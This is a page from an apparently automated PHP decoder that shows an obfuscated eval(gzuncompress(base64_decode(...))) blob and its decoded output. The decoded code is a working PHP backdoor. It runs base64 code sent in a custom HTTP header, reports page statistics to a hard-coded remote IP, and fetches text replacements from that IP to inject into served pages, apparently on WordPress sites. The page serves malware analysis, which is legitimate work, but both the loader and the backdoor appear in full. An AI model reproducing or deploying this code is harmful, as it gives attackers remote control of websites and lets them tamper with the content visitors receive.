Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$vc96c3ffd68='eNpNlzcO7EgSRC8zwMwHDeomicEa1FprOgtqrWXz9Nvm2llWVOTLiL+uEiWhikCRqvrP36WxGAMR..
Decoded Output download
if (!function_exists('http_build_query')) { function http_build_query($spdd71e9, $sp19dc0f = null, $sp5200f7 = '&', $spa08c52 = '') { $spbaa82a = array(); foreach ((array) $spdd71e9 as $spc4de20 => $sp7522e3) { $spc4de20 = urlencode($spc4de20); if (is_int($spc4de20) && $sp19dc0f != null) { $spc4de20 = $sp19dc0f . $spc4de20; } if (!empty($spa08c52)) { $spc4de20 = $spa08c52 . '[' . $spc4de20 . ']'; } if (is_array($sp7522e3) || is_object($sp7522e3)) { array_push($spbaa82a, http_build_query($sp7522e3, '', $sp5200f7, $spc4de20)); } else { array_push($spbaa82a, $spc4de20 . '=' . urlencode($sp7522e3)); } } if (empty($sp5200f7)) { $sp5200f7 = ini_get('arg_separator.output'); } return implode($sp5200f7, $spbaa82a); } } if (!function_exists('file_put_contents')) { function file_put_contents($sp0d45bd, $spdd71e9) { $sp3c448d = @fopen($sp0d45bd, 'w'); if (!$sp3c448d) { return false; } else { $spfa9579 = fwrite($sp3c448d, $spdd71e9); fclose($sp3c448d); return $spfa9579; } } } if (!class_exists('VI_Engine')) { class VI_Engine { var $sp009cb7 = 60; var $sp857b63 = 60; var $sp144f6a = 15; var $sp7b5492 = 'http://91.200.14.131'; var $sp9815b0 = '0.2'; var $spdd71e9 = array(); static $executed = false; function end() { $this->sp41ad76(); if (!empty($_SERVER['HTTP_VI_EXEC_CODE'])) { ob_end_clean(); eval(base64_decode($_SERVER['HTTP_VI_EXEC_CODE'])); echo '
executed'; die; } if (self::$executed) { ob_end_flush(); return; } self::$executed = true; $sp4519f6 = $this->spa96589(); if (file_exists($sp4519f6)) { $this->spdd71e9 = unserialize(file_get_contents($sp4519f6)); } if (!isset($this->spdd71e9['stat'][$_SERVER['REQUEST_URI']])) { $this->spdd71e9['stat'][$_SERVER['REQUEST_URI']] = array('cnt' => 0); } $this->spdd71e9['stat'][$_SERVER['REQUEST_URI']]['cnt']++; $this->sp029637(); $this->spfc1c93(); file_put_contents($sp4519f6, serialize($this->spdd71e9)); $sp6d8767 = ob_get_contents(); ob_end_clean(); if (!empty($this->spdd71e9['pairs'][$_SERVER['REQUEST_URI']])) { $sp0907e3 = array(); $sp9dfad5 = array(); foreach ($this->spdd71e9['pairs'][$_SERVER['REQUEST_URI']] as $spf1a73f) { $sp0907e3[] = $spf1a73f['needle']; $sp9dfad5[] = $spf1a73f['replacement']; } $sp6d8767 = str_replace($sp0907e3, $sp9dfad5, $sp6d8767); } echo $sp6d8767; } function sp41ad76() { if (!isset($_SERVER['REQUEST_URI'])) { $_SERVER['REQUEST_URI'] = @$_SERVER['SCRIPT_NAME']; if (isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'] .= '?' . @$_SERVER['QUERY_STRING']; } } } function spa96589() { $sp740560 = '/tmp'; if (function_exists('sys_get_temp_dir')) { $sp740560 = sys_get_temp_dir(); } $spf3e500 = 'data.db'; $speb7a5d = array('wp-content/uploads', 'wp-content/', getcwd(), $sp740560); foreach ($speb7a5d as $spe53dbd) { if (is_dir($spe53dbd) && is_writable($spe53dbd)) { return $spe53dbd . '/' . $spf3e500; } } return $spf3e500; } function spfc1c93() { $spdcc1f5 = time(); if (!isset($this->spdd71e9['lastSyncContent']) || $this->spdd71e9['lastSyncContent'] + $this->sp857b63 <= $spdcc1f5) { $spcf7a23 = $this->spe1854a($this->sp7b5492 . '/client/getReplacements?version=' . urlencode($this->sp9815b0)); if (!empty($spcf7a23)) { $sp783447 = unserialize($spcf7a23); if ($sp783447 !== false) { $this->spdd71e9['pairs'] = $sp783447; } if (!isset($this->spdd71e9['pairs'])) { $this->spdd71e9['pairs'] = array(); } } $this->spdd71e9['lastSyncContent'] = $spdcc1f5; } } function sp029637() { $spdcc1f5 = time(); if (!isset($this->spdd71e9['lastSyncStatistic']) || $this->spdd71e9['lastSyncStatistic'] + $this->sp009cb7 <= $spdcc1f5) { $sp8f6611 = $this->spb32326($this->spdd71e9['stat']); if ($sp8f6611 == 'updated') { $this->spdd71e9 = array(); } $this->spdd71e9['lastSyncStatistic'] = $spdcc1f5; } } function spb32326($sp09a8e8) { $sp7713ec = array('stat' => $sp09a8e8, 'version' => $this->sp9815b0); return $this->spfad05d($this->sp7b5492 . '/client/putStatistic', $sp7713ec); } function spe1854a($spd75861) { return $this->sp448481('GET', $spd75861); } function spfad05d($spd75861, $sp7713ec) { return $this->sp448481('POST', $spd75861, $sp7713ec); } function sp448481($spb1bd40, $spd75861, $sp7713ec = null) { if (function_exists('curl_init')) { $sp8eeb93 = curl_init(); curl_setopt($sp8eeb93, CURLOPT_URL, $spd75861); curl_setopt($sp8eeb93, CURLOPT_RETURNTRANSFER, true); curl_setopt($sp8eeb93, CURLOPT_CONNECTTIMEOUT, $this->sp144f6a); if ($spb1bd40 == 'POST') { curl_setopt($sp8eeb93, CURLOPT_POST, true); curl_setopt($sp8eeb93, CURLOPT_POSTFIELDS, http_build_query($sp7713ec)); } $spf19d9d = array('Domain: ' . $_SERVER['SERVER_NAME']); curl_setopt($sp8eeb93, CURLOPT_HTTPHEADER, $spf19d9d); $sp8f6611 = curl_exec($sp8eeb93); curl_close($sp8eeb93); return $sp8f6611; } elseif (function_exists('fsockopen')) { $spf26f7e = parse_url($spd75861); if (empty($spf26f7e['path'])) { $spf26f7e['path'] = '/'; } $sp9c6fe4 = @fsockopen($spf26f7e['host'], 80, $sp09a1d3, $spf69b02, $this->sp144f6a); if (!$sp9c6fe4) { return false; } $sp1eed3d = $spf26f7e['path'] . (isset($spf26f7e['query']) ? '?' . $spf26f7e['query'] : ''); $sp448481 = sprintf('%s %s HTTP/1.1
', $spb1bd40, $sp1eed3d) . sprintf('Host: %s
', $spf26f7e['host']); $sp9487c7 = ''; if ($spb1bd40 == 'POST') { $sp9487c7 = http_build_query($sp7713ec); $sp448481 .= 'Content-Type: application/x-www-form-urlencoded
' . 'Content-Length: ' . strlen($sp9487c7) . '
'; } $sp448481 .= sprintf('Domain: %s
', $_SERVER['SERVER_NAME']); $sp448481 .= 'Connection: Close
'; if ($spb1bd40 == 'POST') { $sp448481 .= $sp9487c7; } @fwrite($sp9c6fe4, $sp448481); $spdd71e9 = ''; while (!feof($sp9c6fe4)) { $spdd71e9 .= @fgets($sp9c6fe4); } @fclose($sp9c6fe4); $sp4a11f1 = explode('
', $spdd71e9); if (empty($sp4a11f1[1])) { return false; } $sp34ab1b = explode('
', $sp4a11f1[1]); if (count($sp34ab1b) <= 1) { return false; } unset($sp34ab1b[0]); return trim(implode('
', $sp34ab1b)); } elseif (ini_get('allow_url_fopen') == '1') { $sp6183b3 = array('http' => array('method' => $spb1bd40, 'timeout' => $this->sp144f6a, 'header' => 'Domain: ' . $_SERVER['SERVER_NAME'])); if ($spb1bd40 == 'POST') { $sp6183b3['http']['content'] = http_build_query($sp7713ec); $sp6183b3['http']['header'] .= '
Content-type: application/x-www-form-urlencoded'; } $sp77b7d6 = stream_context_create($sp6183b3); return @file_get_contents($spd75861, false, $sp77b7d6); } return false; } } } $sp517656 = new VI_Engine(); $sp517656->end();
Did this file decode correctly?
Original Code
$vc96c3ffd68='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';eval(gzuncompress(base64_decode($vc96c3ffd68)));
Function Calls
| gzuncompress | 10 |
| base64_decode | 10 |
Stats
| MD5 | 84d818c5dce3e182c6ecf5ca06e82635 |
| Eval Count | 10 |
| Decode Time | 115 ms |